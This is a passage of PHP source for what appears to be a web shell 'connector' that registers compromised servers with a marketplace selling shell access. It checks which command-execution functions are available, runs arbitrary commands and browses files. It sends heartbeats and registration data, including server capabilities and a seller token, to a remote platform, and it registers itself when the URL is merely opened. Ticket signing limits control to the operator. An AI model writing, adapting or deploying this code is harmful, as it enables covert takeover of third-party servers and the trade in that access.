false, 'error' => $code, 'detail' => $detail, 'nonce' => $nonce), $status, $secret, $nonce); } function ws_caps() { $disabled = array_map('trim', explode(',', strtolower((string) ini_get('disable_functions')))); $has = function ($fn) use ($disabled) { return function_exists($fn) && !in_array(strtolower($fn), $disabled, true); }; return array( 'php' => PHP_VERSION, 'os' => PHP_OS, 'sapi' => PHP_SAPI, 'uname' => $has('php_uname') ? php_uname('s') . ' ' . php_uname('r') : PHP_OS, 'root' => dirname(__FILE__), 'writable' => is_writable(dirname(__FILE__)), 'exec' => $has('proc_open') ? 'proc_open' : ($has('shell_exec') ? 'shell_exec' : ($has('exec') ? 'exec' : ($has('system') ? 'system' : ''))), 'zip' => class_exists('ZipArchive'), 'curl' => $has('curl_init'), 'open_basedir' => (string) ini_get('open_basedir'), 'upload_max' => (string) ini_get('upload_max_filesize'), 'post_max' => (string) ini_get('post_max_size'), 'functions' => array('read' => $has('file_get_contents'), 'write' => $has('file_put_contents'), 'scandir' => $has('scandir')), ); } function ws_scheme() { if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { return 'https'; } if (strtolower(isset($_SERVER['HTTP_X_FORWARDED_PROTO']) ? $_SERVER['HTTP_X_FORWARDED_PROTO'] : '') === 'https') { return 'https'; } return 'http'; } function ws_self_url() { $path = strtok(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '', '?'); return ws_scheme() . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $path; } function ws_beat() { global $WS_PLATFORM, $WS_ID, $WS_SECRET; if (!function_exists('curl_init')) { return; } $ch = @curl_init($WS_PLATFORM . '/api/shell/beat.php'); if (!$ch) { return; } $payload = json_encode(array('deploy_id' => $WS_ID, 'ts' => time(), 'url' => ws_self_url())); $sig = ws_b64u_enc(hash_hmac('sha256', $payload, $WS_SECRET, true)); @curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload, CURLOPT_CONNECTTIMEOUT => 1, CURLOPT_TIMEOUT => 2, CURLOPT_HTTPHEADER => array('Content-Type: application/json', 'X-Shell-Beat: ' . $sig), CURLOPT_SSL_VERIFYPEER => false, )); @curl_exec($ch); @curl_close($ch); } function ws_norm_params($v) { if (is_array($v)) { $isList = $v === array() ? true : (array_keys($v) === range(0, count($v) - 1)); $out = array(); foreach ($v as $k => $x) { $out[$k] = ws_norm_params($x); } if (!$isList) { ksort($out); } return $out; } if (is_bool($v)) { return $v ? '1' : '0'; } return $v === null ? '' : (string) $v; } function ws_verify_ticket($secret, $op, $params, &$nonce) { $raw = isset($_SERVER['HTTP_X_SHELL_TICKET']) ? $_SERVER['HTTP_X_SHELL_TICKET'] : ''; if ($raw === '' || strpos($raw, '.') === false) { return 'missing_ticket'; } list($body, $sig) = explode('.', $raw, 2); $calc = ws_b64u_enc(hash_hmac('sha256', $body, $secret, true)); if (!hash_equals($calc, $sig)) { return 'bad_ticket'; } $json = ws_b64u_dec($body); $t = json_decode($json, true); if (!is_array($t)) { return 'bad_ticket'; } if ((isset($t['v']) ? $t['v'] : 0) !== 1 || (isset($t['op']) ? $t['op'] : '') !== $op) { return 'op_mismatch'; } $now = time(); if ((int) (isset($t['exp']) ? $t['exp'] : 0) < $now || (int) (isset($t['iat']) ? $t['iat'] : 0) > $now + 60) { return 'expired'; } $ph = hash('sha256', json_encode(ws_norm_params($params), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)); if (!hash_equals((string) (isset($t['ph']) ? $t['ph'] : ''), $ph)) { return 'param_mismatch'; } $nonce = (string) (isset($t['nonce']) ? $t['nonce'] : ''); if ($nonce === '') { return 'bad_ticket'; } $file = sys_get_temp_dir() . '/wsn_' . substr(md5(__FILE__ . $secret), 0, 16); $fp = @fopen($file, 'c+'); if ($fp) { if (flock($fp, LOCK_EX)) { $old = stream_get_contents($fp); if (strpos($old, $nonce . "\n") !== false) { flock($fp, LOCK_UN); fclose($fp); return 'replay'; } $lines = array_slice(array_filter(explode("\n", $old)), -199); $lines[] = $nonce; ftruncate($fp, 0); rewind($fp); fwrite($fp, implode("\n", $lines) . "\n"); flock($fp, LOCK_UN); } fclose($fp); } return ''; } function ws_safe_path($p, $mustExist) { $root = dirname(__FILE__); $p = str_replace('\\', '/', (string) $p); if ($p === '') { $p = '/'; } if (strpos($p, "\0") !== false) { return false; } $isWinAbs = (bool) preg_match('#^[A-Za-z]:/#', $p); if (!$isWinAbs && $p[0] !== '/') { $p = '/' . $p; } $parts = array(); foreach (explode('/', $p) as $part) { if ($part === '' || $part === '.' || $part === ':' ) { continue; } if ($part === '..') { array_pop($parts); continue; } if ($isWinAbs && count($parts) === 0) { $parts[] = $part; continue; } $parts[] = $part; } if ($isWinAbs) { $full = implode('/', $parts); if (strpos($full, ':') === false) { return false; } } else { $full = $root; foreach ($parts as $part) { $full .= '/' . $part; } } if ($mustExist) { $real = realpath($full); if ($real === false) { return false; } $realRoot = realpath($root); if (!$isWinAbs && $realRoot !== false && strpos($real, $realRoot) !== 0) { return false; } return $real; } $dir = dirname($full); $realDir = realpath($dir); if ($realDir === false) { return false; } $realRoot = realpath($root); if (!$isWinAbs && $realRoot !== false && strpos($realDir, $realRoot) !== 0) { return false; } return $realDir . '/' . basename($full); } function ws_list_dir($path) { $out = array(); $items = @scandir($path); if ($items === false) { return false; } foreach ($items as $name) { if ($name === '.' || $name === '..') { continue; } $full = $path . '/' . $name; $isDir = @is_dir($full); $out[] = array( 'name' => $name, 'dir' => $isDir, 'link' => @is_link($full), 'size' => $isDir ? 0 : (int) @filesize($full), 'mtime' => (int) @filemtime($full), 'mode' => substr(sprintf('%o', @fileperms($full)), -4), 'writable' => @is_writable($full), ); } usort($out, function ($a, $b) { if ($a['dir'] != $b['dir']) { return $a['dir'] ? -1 : 1; } return strcasecmp($a['name'], $b['name']); }); return $out; } function ws_exec($cmd, $cwd) { global $WS_MAX_EXEC; $caps = ws_caps(); $cmd = (string) $cmd; if ($cmd === '') { return array('ok' => false, 'error' => 'empty_command'); } $start = microtime(true); if ($caps['exec'] === 'proc_open') { $desc = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $p = @proc_open($cmd, $desc, $pipes, $cwd); if (!is_resource($p)) { return array('ok' => false, 'error' => 'spawn_failed'); } stream_set_blocking($pipes[1], false); stream_set_blocking($pipes[2], false); $out = ''; $err = ''; $deadline = microtime(true) + 15; while (true) { $out .= (string) stream_get_contents($pipes[1]); $err .= (string) stream_get_contents($pipes[2]); $s = proc_get_status($p); if (!$s['running'] || microtime(true) > $deadline) { if ($s['running']) { @proc_terminate($p); } break; } usleep(20000); } fclose($pipes[1]); fclose($pipes[2]); $code = proc_close($p); $out = strlen($out) > $WS_MAX_EXEC ? substr($out, 0, $WS_MAX_EXEC) . "\n[kesildi]" : $out; return array('ok' => true, 'stdout' => $out, 'stderr' => $err, 'code' => $code, 'time' => round(microtime(true) - $start, 3), 'mode' => 'proc_open'); } if ($caps['exec'] === 'shell_exec') { $out = @shell_exec('cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1'); return array('ok' => true, 'stdout' => (string) $out, 'stderr' => '', 'code' => 0, 'time' => round(microtime(true) - $start, 3), 'mode' => 'shell_exec'); } if ($caps['exec'] === 'exec') { $lines = array(); $code = 0; @exec('cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1', $lines, $code); return array('ok' => true, 'stdout' => implode("\n", $lines), 'stderr' => '', 'code' => $code, 'time' => round(microtime(true) - $start, 3), 'mode' => 'exec'); } if ($caps['exec'] === 'system') { ob_start(); @system('cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1'); $out = ob_get_clean(); return array('ok' => true, 'stdout' => (string) $out, 'stderr' => '', 'code' => 0, 'time' => round(microtime(true) - $start, 3), 'mode' => 'system'); } return array('ok' => false, 'error' => 'exec_disabled'); } $op = isset($_GET['op']) ? (string) $_GET['op'] : 'ping'; $raw = ''; if (strtoupper($_SERVER['REQUEST_METHOD']) === 'POST') { $raw = (string) file_get_contents('php://input'); } /* -------- registration -------- */ // Register on ?ws_register, or automatically when a human simply opens the connector // URL in a browser (a plain GET with no op, no verify nonce and no RPC ticket). $ws_bare_get = strtoupper($_SERVER['REQUEST_METHOD']) === 'GET' && !isset($_GET['op']) && !isset($_GET['ws_verify']) && empty($_SERVER['HTTP_X_SHELL_TICKET']); if (isset($_GET['ws_register']) || $ws_bare_get) { $payload = json_encode(array( 'seller_token' => $WS_SELLER_TOKEN, 'domain' => $WS_DOMAIN, 'url' => ws_self_url(), 'scheme' => ws_scheme(), 'path' => strtok(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '', '?'), 'caps' => ws_caps(), 'ts' => time(), ), JSON_UNESCAPED_SLASHES); // Registration is authenticated with the SELLER secret (proves this file belongs to the // seller); the reverse ?ws_verify proof below uses the derived per-listing secret. $sig = ws_b64u_enc(hash_hmac('sha256', $payload, $WS_SELLER_SECRET, true)); $result = array('ok' => false, 'error' => 'unreachable'); $curlErr = ''; $rawResp = ''; if (function_exists('curl_init')) { $ch = @curl_init($WS_PLATFORM . '/api/shell/register.php'); if ($ch) { @curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload, CURLOPT_CONNECTTIMEOUT => 8, CURLOPT_TIMEOUT => 20, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTPHEADER => array('Content-Type: application/json', 'Accept: application/json', 'X-Shell-Register: ' . $sig), CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; webshell.store-connector/1.0)', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, )); $r = @curl_exec($ch); $code = (int) @curl_getinfo($ch, CURLINFO_RESPONSE_CODE); $curlErr = (string) @curl_error($ch); @curl_close($ch); $rawResp = (string) $r; $j = json_decode($rawResp, true); if (is_array($j)) { $result = $j; } $result['http'] = $code; } } else { $result['error'] = 'curl_missing'; } header('Content-Type: text/html; charset=utf-8'); echo '
Registration complete. You can close this tab; the listing will show as online in the seller panel.
'; } else { echo 'Registration failed. ' . htmlspecialchars(isset($result['error']) ? $result['error'] : 'unknown', ENT_QUOTES, 'UTF-8') . ' (HTTP ' . (int) (isset($result['http']) ? $result['http'] : 0) . ')
'; if ($curlErr !== '') { echo 'curl: ' . htmlspecialchars($curlErr, ENT_QUOTES, 'UTF-8') . '
'; } if ($rawResp !== '' && json_decode($rawResp, true) === null) { echo 'response starts with: ' . htmlspecialchars(substr(trim($rawResp), 0, 160), ENT_QUOTES, 'UTF-8') . '
'; } echo 'If HTTP is 403/503/429 or the response looks like a Cloudflare page, allow /api/shell/* through Cloudflare (see your seller panel help). HTTP 0 means this server cannot reach the platform (firewall/DNS/TLS).
PHP ' . htmlspecialchars(PHP_VERSION, ENT_QUOTES, 'UTF-8') . ' ยท ' . htmlspecialchars($WS_DOMAIN, ENT_QUOTES, 'UTF-8') . '
'; echo '